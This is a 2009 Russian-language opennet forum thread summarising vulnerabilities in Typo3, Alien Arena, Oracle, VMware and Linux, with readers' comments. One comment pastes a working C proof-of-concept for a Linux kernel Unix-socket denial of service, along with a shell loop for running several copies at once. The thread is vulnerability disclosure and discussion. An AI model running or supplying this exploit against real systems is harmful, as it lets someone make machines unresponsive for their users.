URL: https://www.opennet.me/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID3
Нить номер: 60255
[ Назад ]
Исходное сообщение
"Уязвимости в Typo3, Alien Arena, Piwik, Oracle, VMware и Lin..."
Отправлено opennews , 24-Окт-09 22:47 
Серия новых уязвимостей:

-  В системе управления web-контентом Typo3 (http://typo3.org/) найдено 7 уязвимостей (http://secunia.com/advisories/37122/), среди которых имеется серьезная проблема - возможность осуществить подстановку SQL кода аутентифицированным пользователем. Остальные проблемы связаны с совершением XSS атак (межсайтовый скриптинг), обходом механизмов контроля доступа и возможностью выполнить shell-скрипты на сервере, при наличии редакторского уровня доступа и установке стороннего upload-расширений. С исправлением проблем (http://typo3.org/teams/security/security-bulletins/typo3-sa-.../) в экстренном порядке выпущены версии 4.1.13, 4.2.10 и 4.3beta2.

-  В открытой игре  Alien Arena (http://red.planetarena.org/) найдена критическая уязвимость (http://secunia.com/advisories/37118/), позволяющая злоумышленнику выполнить свой код на игровом сервере, отправив специально модифицированный UDP-пакет на сетевой порт 27901. Проблема испрошена в выпуске 7.31;

-  В п...

URL: http://www.oracle.com/technology/deploy/security/critical-pa...
Новость: http://www.opennet.me/opennews/art.shtml?num=23973

Содержание
Сообщения в этом обсуждении
"Уязвимости в Typo3, Alien Arena, Piwik, Oracle, VMware и Lin..."
Отправлено NicK , 24-Окт-09 22:47 
А что сервер Alien Arena выполняется с правами root?
"Уязвимости в Typo3, Alien Arena, Piwik, Oracle, VMware и Lin..."
Отправлено anonymouse , 24-Окт-09 23:27 
> А что сервер Alien Arena выполняется с правами root?

А что левый код у вас может выполнятся под учётной записью?

"Уязвимости в Typo3, Alien Arena, Piwik, Oracle, VMware и Lin..."
Отправлено XoRe , 25-Окт-09 00:49 
>А что сервер Alien Arena выполняется с правами root?

Думаю, как настроят, так и выполняется.
А настраивают по разному...)

"Уязвимости в Typo3, Alien Arena, Piwik, Oracle, VMware и Lin..."
Отправлено Zenitur , 26-Окт-09 03:11 
Если человек создаст сервер на FreeBSD или Linux, который будет круглосуточно заниматься только Alien Arena, то да - вполне возможно, что сервер запустится от root.
"Уязвимости в Typo3, Alien Arena, Piwik, Oracle, VMware и Lin..."
Отправлено User294 , 24-Окт-09 23:08 
> В системе управления web-контентом Typo3 найдено 7 уязвимостей,

А кто-то мне говорил что он безопасный... но как видим нет в мире совершенства.

"Уязвимости в Typo3, Alien Arena, Piwik, Oracle, VMware и Lin..."
Отправлено ононим , 24-Окт-09 23:30 
Кнут считает по другому.
"Уязвимости в Typo3, Alien Arena, Piwik, Oracle, VMware и Lin..."
Отправлено Moosh , 26-Окт-09 15:56 
Тупо3 и безопасный? Оксюморон!
Вместо чем верить кому-то, стоило просто посмотреть security advisory.
"Уязвимости в Typo3, Alien Arena, Piwik, Oracle, VMware и Lin..."
Отправлено pavlinux , 25-Окт-09 19:35 
> Из за трудности эксплуатации уязвимостям присвоен незначительный уровень опасности.

------------
int main(void) {

int ret, csd, lsd;
struct sockaddr_un sun;

/* make an abstruct name address (*) */
memset(&sun, 0, sizeof(sun));
sun.sun_family = PF_UNIX;
sprintf(&sun.sun_path[1], "%d", getpid());

/* create the listening socket and shutdown */
lsd = socket(AF_UNIX, SOCK_STREAM, 0);
bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
listen(lsd, 1);
shutdown(lsd, SHUT_RDWR);

/* connect loop */
alarm(15); /* forcely exit the loop after 15 sec */
for (;;) {
    csd = socket(AF_UNIX, SOCK_STREAM, 0);
    ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
    if (-1 == ret) {
        perror("connect()");
        break;
    }
    puts("Connection OK");
   }
return 0;
}
-----

You should run the ./unix-socket-dos-exploit concurrently, like below:
for i in {1..4} ; do ./unix-socket-dos-exploit & done
# For safety reason, the PoC code stops in 15 seconds by alarm(15).


http://patchwork.kernel.org/patch/54678/